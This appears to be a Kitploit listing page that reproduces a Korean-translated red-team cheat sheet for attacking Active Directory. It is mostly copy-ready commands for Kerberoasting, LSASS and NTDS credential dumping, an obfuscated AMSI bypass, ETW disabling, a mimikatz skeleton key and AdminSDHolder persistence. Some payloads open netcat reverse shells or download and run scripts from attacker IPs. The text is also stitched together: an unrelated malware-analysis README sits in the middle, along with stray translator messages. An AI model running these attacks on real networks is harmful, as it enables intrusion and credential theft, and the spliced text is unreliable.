Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Awesome-RedTeam-Cheatsheet — 계속 확장 중인 레드팀 치트시트. | Kitploit
도구/GitHubGitHub/ristbs/awesome-redteam-cheatsheet
Privilege EscalationPersistence MechanismsLateral MovementPenetration TestingLearning & EducationRed TeamingCurated Resources
GitHubristbs/awesome-redteam-cheatsheet

Awesome-RedTeam-Cheatsheet

계속 확장 중인 레드팀 치트시트.

저장소 보기
1.3k1673년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

image


레드팀 기법

  • 초기 접근 기법 (곧)
  • 코드 실행 기법 (곧)
  • 횡적 이동 기법 (곧)
  • 회피 기법 (곧)
  • 지속성 기법 (곧)
  • 권한 상승 기법 (곧)
  • 자격 증명 덤핑 기법 (곧)
  • 피보팅 기법 (곧)

Windows 프로토콜 및 용어

  • Windows 프로토콜 및 용어 가이드 (곧)

기타

  • OPSEC 가이드
  • 멀웨어 개발
  • AD Azure 클라우드 공격 (곧)

지원

여기서 저를 지원할 수 있습니다 🐱 :

Active-directory-Cheat-sheet

이 AD 공격 치트시트는 RistBS가 제작했으며, Active-Directory-Exploitation-Cheat-Sheet 저장소에서 영감을 받았습니다.

목차

  • RistBS의 AD 익스플로잇 치트시트
    • 요약
    • 도구
    • Powershell 구성 요소
      • Powershell 팁
      • PSWA 남용
    • 열거
      • GPO 열거
      • ACL 및 ACE 열거
      • RID 사이클링
    • 권한 상승
      • 토큰 가장
      • Kerberoasting
      • ASREPRoasting
      • DNSAdmin
    • 횡적 이동
      • WMIExec
    • 자격 증명 덤핑
      • LSASS 덤핑
      • NTDS 덤핑
      • DPAPI 남용
      • LSA 덤핑
      • SAM 덤핑
      • 레지스트리 원격 및 직접 덤프
      • GMSA 암호 읽기
    • 해시 크래킹
    • AD 암호 브루트포스
      • 사용자 정의 사용자 이름 및 암호 워드리스트
    • 피보팅
      • SMB 파이프
      • SharpSocks
      • DVC를 통한 RDP 터널링
    • 지속성
      • SIDHistory 주입
      • AdminSDHolder 및 SDProp
    • ACL 및 ACE 남용
      • GenericAll
    • 강화된 보안 우회
      • 안티맬웨어 검사 인터페이스
      • ConstrainLanguageMode
      • Just Enough Administration
      • ExecutionPolicy

도구

Powershell 도구 :

  • [⭐] Nishang -> https://github.com/samratashok/nishang

Nishang은 Powershell 환경에서 Windows 침투 테스트를 위한 여러 유용한 스크립트를 제공합니다.

  • [⭐] PowerView -> https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

PowerView는 Powersploit의 스크립트로, 잠재적인 횡적 이동을 위해 AD 아키텍처를 열거할 수 있습니다.

열거 도구 :

  • [⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound
  • [⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExe

AD 익스플로잇 툴킷 :

  • [⭐] Impacket -> https://github.com/SecureAuthCorp/impacket
  • [⭐] kekeo -> https://github.com/gentilkiwi/kekeo

덤핑 도구 :

  • [⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz
  • [⭐] rubeus -> https://github.com/GhostPack/Rubeus

리스너 도구 :

  • [⭐] responder -> https://github.com/SpiderLabs/Responder

Powershell 구성 요소

Powershell 팁

PS-Session :```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100

METHOD 2

$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100

root@kitploit:~
### PSWA 남용

크레덴셜이 있는 사람이라면 누구나 모든 머신과 모든 구성에 연결할 수 있습니다.

**[ ! ] 이 작업에는 자격 증명이 필요합니다.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *

열거

SPN이 있는 사용자 찾기

PowerView 사용:```powershell Get-NetUser –SPN

root@kitploit:~
> 사용 [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

신뢰 관계 열거

MapTrust :```powershell Invoke-MapDomainTrust

root@kitploit:~
**현재 도메인에 대한 도메인 트러스트 :**

> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) 사용 :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain

사용 AD Module :```powershell Get-ADTrust Get-ADTrust –Identity $domain

root@kitploit:~
### Forest Enumeration

**현재 포리스트에 대한 세부 정보 :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain

GPO 열거

GPO 목록```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html

root@kitploit:~
### ACL 및 ACE 열거

**모든 ACE 열거**```powershell
 Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}

사용자 및 권한 열거```powershell

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

root@kitploit:~
*사용자가 이미 SPN을 가지고 있는지 확인하십시오:*
> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) 사용:```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname

AD Module 사용 :```powershell Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

root@kitploit:~
### LDAP 열거```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"

서비스 계정 찾기```powershell ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"

root@kitploit:~
*인증된 사용자로 ldapsearch를 사용한 열거*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'

ldapdomaindump을 이용한 열거 (인증됨) - 깔끔한 출력``` ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep

root@kitploit:~
*Nmap 스크립트를 이용한 열거*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100

SMB 열거

인증되지 않은 상태에서 crackmapexec를 사용한 열거```bash crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''

root@kitploit:~
*crackmapexec를 이용한 열거 (인증됨)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess

kerbrute를 사용한 열거, Kerberos 사전 인증 무차별 대입에 대한:```bash /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade

root@kitploit:~
> 기본적으로 kerbrute는 가장 안전한 모드(18 = sha1)를 사용하여 일부 해시를 가져옵니다. 다운그레이드 옵션을 사용하면 더 이상 사용되지 않는 암호화 타입 버전(23 = rc4hmac)을 가져올 수 있습니다. 또는 getNPusers를 사용하여 해시를 가져오는 것이 더 안전합니다!

*사용자에 대해 테스트할 비밀번호 또는 비밀번호 목록을 제공하세요*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list

사용자 열거```bash crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt

root@kitploit:~
### 도메인에 대한 비밀번호 스프레잉```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'

Bloodhound-Python을 사용하여 도메인, 그룹 및 사용자 덤프:```bash bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30

root@kitploit:~
Bloodhound 설정:```bash
sudo neo4j console
sudo bloodhound

RID 순환

전역 구조 :``` S-1-5-21-40646273370-24341400410-2375368561-1036

root@kitploit:~
- `S-1-5-21`: **S는 SID(Security Identifier)를 나타냄**
- `40646273370-24341400410-2375368561`: **도메인 또는 로컬 컴퓨터 식별자**
- `1036`: **RID (Relative Identifier)**

*User SID 구조 :*
- `S-1-5-21-40646273370-24341400410-2375368561`: **도메인 SID**
- `1036`: **사용자 RID**

> [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) 사용 :```bash
cme smb $target -u $username -p $password --rid-brute

lookupsid 사용 :```bash lookupsid.py MEGACORP/$user:'$password'@$target 20000

root@kitploit:~
lookupsid의 값 "20000"은 테스트할 RID의 수를 나타냅니다

## 권한 상승

### 토큰 가장

> 가장 토큰 기법은 사용자의 토큰을 탈취하여 사용자를 가장할 수 있게 합니다. 이 토큰은 SSO 프로세스, 대화형 로그온, 실행 중인 프로세스 등으로 인해 이 기법을 악용할 수 있게 합니다.

> [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) 사용:

*토큰 목록*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate

사용자의 토큰으로 새 프로세스를 시작합니다```powershell Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

root@kitploit:~
*프로세스 토큰 조작*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id

Incognito 사용 :

*incognito 로드 및 토큰 나열 :```bash meterpreter > use incognito meterpreter > list_tokens -g

root@kitploit:~
*"NT AUTHORITY\SYSTEM"의 가장 토큰 :*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Kerberoasting

Kerberoastable 사용자 열거```powershell Get-DomainUser -SPN | select name,serviceprincipalname

root@kitploit:~
> [impacket](https://github.com/SecureAuthCorp/impacket) 사용 :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

crackmapexec 사용```powershell crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc

root@kitploit:~
*해시 크랙 :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force

ASREPRoasting

asreproastable 사용자 열거```powershell Get-DomainUser -PreauthNotRequired | select name

root@kitploit:~
Please provide the Markdown content to translate.```powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request

해시 크랙킹 :

hashcat -m 18200 -a 0 hash wordlist.txt --force

DNSAdmin

이 그룹의 사용자 열거 :```powershell

METHOD 1

Get-NetGroupMember -GroupName "DNSAdmins"

METHOD 2

Get-ADGroupMember -Identity DNSAdmins

root@kitploit:~
*이 공격은 악의적인 임의의 DLL을 주입하고 dns.exe 서비스를 재시작하는 것으로 구성되며, DC가 DNS 서비스를 제공하므로 권한을 DA로 상승시킬 수 있습니다.*

> DLL 파일 :```c
#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

msfvenom을 사용하여 dll 파일을 만들 수도 있습니다 : msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' - f dll > evil.dll 이 파일은 SYSTEM 권한으로 net user administrator aked /domain을 실행합니다

원격 DLL 경로를 Windows 레지스트리에 설정합니다```powershell dnscmd dc01 /config /serverlevelplugindll \10.10.14.33\share\evil.dll

root@kitploit:~
`\\10.10.14.33\share\evil.dll` : SMB 공유.

**DNS 서비스 다시 시작**```powershell
sc.exe stop dns
sc.exe start dns

수평 이동

WMIExec

Kerberos 인증 사용```powershell impacket-wmiexec -k -no-pass [email protected]

root@kitploit:~
## 자격 증명 덤프

### LSASS 덤프```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy

https://github.com/Hackndo/lsassy```powershell procdump --accepteula -ma lsass lsass.dmp

root@kitploit:~
입력된 마크다운 내용이 없습니다.```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe

Please provide the Markdown content to translate.```powershell psexec.py MEGACORP.LOCAL/[email protected] "C:\Windows\Temp\procdump.exe -accepteula -ma lsass C:\Windows\Temp\lsass.dmp"

root@kitploit:~
```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp

mimikatz로 자격 증명 파싱```powershell sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords

root@kitploit:~
로컬에서 mimikatz를 사용하여 수행할 수 있습니다: `sekurlsa::logonpasswords`.


### NTDS 덤프

**DRSUAPI를 악용하여 NTDS 덤프**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi

VSS를 악용한 NTDS 덤핑

사용 Crackmapexec :```powershell crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss

root@kitploit:~
*직접 수동으로 할 수도 있습니다.*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId

DPAPI 남용

dump DPAPI BK```bash dpapi.py backupkeys -t $domain/$user:$password@$target

root@kitploit:~
> DPAPI MK 복호화```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password

MK를 사용하여 보호된 파일 복호화 중```bash dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY

root@kitploit:~
*DPAPI 마스터 키를 JTR로 크랙*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule

LSA 덤프

이 명령어로 mimikatz를 사용할 수 있습니다: lsadump::secrets

SAM 덤프

다른 디렉토리에 SYSTEM 하이브와 SAM을 저장하세요```powershell reg save HKLM\SAM c:\path\to\SAM reg save HKLM\SYSTEM c:\path\to\SYSTEM

root@kitploit:~
## 악성코드 분석 플랫폼 시작하기

Docker 이미지 초기화:

```bash
cd data/
wget https://github.com/malwaredatabase/samples/raw/main/samples.tar.gz
tar -xzvf samples.tar.gz
cd ..
docker compose up -d

experiments 폴더 안에는 바로 사용할 수 있는 모든 실험 자료가 있습니다.

모델 비교

다양한 예측 모델(예: 로지스틱 회귀, 랜덤 포레스트, 결정 트리, MLP, XGBoost 등)을 비교하려면 experiments 디렉터리로 이동하여 comparison_of_predictions.ipynb 노트북을 실행하세요:

root@kitploit:~
cd experiments/
jupyter notebook comparison_of_predictions.ipynb

참고: YARA 규칙 및 기타 실험은 notebooks/ 하위 폴더에서 사용할 수 있습니다. 이 링크를 참조하세요.

참고: 데이터베이스를 채우려면 populate_db.py를 실행하세요:

root@kitploit:~
python populate_db.py

각 도구 훈련

각 도구 훈련:

root@kitploit:~
python random_forest_training.py
python decision_tree_training.py
python mlp_training.py
python logistic_regression_training.py
python xgboost_training.py

훈련 시간

root@kitploit:~
또는 그냥 사용하세요: `lsadump::sam`

**[ 📝 ] 참고사항** : *crackmapexec **또는** secretdump를 사용하여 SAM과 LSA를 덤프할 수 있습니다. 명령어는 다음과 같습니다:*```bash
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
root@kitploit:~
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa

Dump Registry Remotely and Directly

[ ❓ ] What is Registry ? : the Registry is divided into several sections called hives. A registry hive is a top level registry key predefined by the Windows system to store registry keys for specific objectives. Each registry hives has specific objectives, there are 6 registry hives, HKCU, HKLM, HKCR, HKU, HKCC and HKPD the most enteresting registry hives in pentesting is HKU and HKLM.

HKEY_LOCAL_MACHINE called HKLM includes three keys SAM, SYSTEM, and SECURITY.

dump SYSTEM and SECURITY remotely from HKLM :```bash secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes

root@kitploit:~
> 해시 인수로 HKU 레지스트리를 원격으로 덤프 :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software

HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

GMSA 암호 읽기```powershell

$user = 'USER' $gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword

root@kitploit:~
*gMSA 덤핑:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## 해시 크래킹

> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> NT :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
참고 : 일부 해시 유형은 hashcat에서 **etype**에 따라 달라집니다

## AD 비밀번호 무차별 대입

### 사용자 정의 사용자 이름 및 비밀번호 워드리스트

기본 비밀번호 목록 (pwd_list) :
`
Autumn
Spring
Winter
Summer
`
bash와 hashcat을 사용하여 비밀번호 생성 :```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
기본 사용자 이름 목록 (users.list) :```
john doe
paul smith
jacaques miller
```
username-anarchy를 사용하여 사용자 정의 사용자 이름 생성 :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## 피보팅

**WDFW를 통해 사용자 정의 규칙으로 피보팅**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*localport에 연결 허용*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB Pipes

**로컬/원격 포트는** **SMB 파이프**를 사용하여 **전달**될 수 있습니다. 이를 위해 [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) 또는 [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy)를 사용할 수 있습니다.
- `Invoke-Piper` : *로컬 또는 원격 포트를 전달하는 데 사용됨*
- `Invoke-SocksProxy` : *동적 포트 전달에 사용됨*

**사례 1** *forPivot을 위한 파이프를 통한 로컬 포트 포워딩: `-L 33389:127.0.0.1:3389`*

> 서버 측 :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> 클라이언트 측 :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**사례 2** *관리자 전용 파이프를 통한 원격 포트 포워딩 forPivot: `-R 33389:127.0.0.1:3389`*

> 서버 측 :```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> 클라이언트 측 :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**사례 3** *Invoke-SocksProxy와 forPivot을 NamedPipe로 사용한 동적 포트 포워딩: `-D 3333`*

> 서버 측 :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> 클라이언트 측 :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks

**SharpSocks는 주로 C2 프레임워크에서 사용되며 C2 임플란트와 함께 작동합니다**

*서버 구축:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### DVC를 통한 RDP 터널링

*공유 드라이브:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*드라이브 매핑:*```powershell
PS > net use x: \\TSCLIENT\X
```
SSFD.exe로 서버를 생성하세요```powershell
PS > ssfd.exe -p 8080
```
*SSF 포트를 DVC 서버로 리디렉션:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1

[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD를 SOCK 프록시로*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## 지속성

### SIDHistory 주입

### AdminSDHolder 및 SDProp

> [ ❓ ] : DA 권한(AdminSDHolder 개체에 대한 모든 권한/쓰기 권한)을 사용하면 AdminSDHolder 개체에 모든 권한(또는 기타 흥미로운 권한)을 가진 사용자를 추가하여 백도어/지속성 메커니즘으로 사용할 수 있습니다.
60분 후(SDPROP가 실행될 때) 해당 사용자는 실제로 Domain Admins 그룹의 구성원이 아니더라도 해당 그룹의 ACL에 모든 권한으로 추가됩니다.

> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) 사용 :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> 사용 [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*SDProp을 수동으로 실행*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## ACL 및 ACE 남용

### GenericAll

**사용자가 속한 모든 그룹과 명시적 액세스 권한이 있는 그룹을 나열합니다**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
번역할 원문이 제공되지 않았습니다.```powershell
net group Administrator aker /add /domain
```
## 향상된 보안 우회

### 안티멀웨어 스캔 인터페이스```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/%22%7B1%7D%7B0%7D%22-F%27F%27,%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
Powershell6에서 AMSI 패치하기 :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode

**runspace**를 사용한 CLM 우회:```cs
static void Main(string[] args){
    Runspace run = RunspaceFactory.CreateRunspace();
    run.Open();

    PowerShell shell = PowerShell.Create();
    shell.Runspace = run;

    String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
    shell.AddScript(cmd);
    shell.Invoke();
    run.Close();
}
```
### Just Enough Administration

> 현재 언어 수준 보기 :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> ConstrainedLanguage에서 JEA 우회 :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> 인코딩을 사용한 EP 우회 :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### 자격 증명 덤핑을 위한 RunAsPPL

[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection)는 **보호되지 않은 프로세스**의 메모리 읽기 및 코드 주입을 방지하기 위한 **추가 LSA 보호**입니다.

> mimikatz로 RunAsPPL 우회하기 :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### ETW 비활성화```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/HEAD/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
이 명령에 대해 난독화 기술을 시도해 볼 수 있습니다. ETW에 대해 더 알아보려면 제 강좌를 참조하세요 [여기](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)

## MS Exchange

### OWA EWS 및 EAS 비밀번호 스프레이 공격

> [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1)를 사용하여 :```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> [ruler](https://github.com/sensepost/ruler) 사용 :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### GAL 및 OAB 추출

**GAL (Global Address Book) 추출**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> using powershell :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (오프라인 주소록) 추출**

*레코드가 포함된 OAB.XML 파일을 추출합니다*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml

cat oab.xml |grep '.lzx' |grep data
```
*LZX 압축 파일 추출*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx

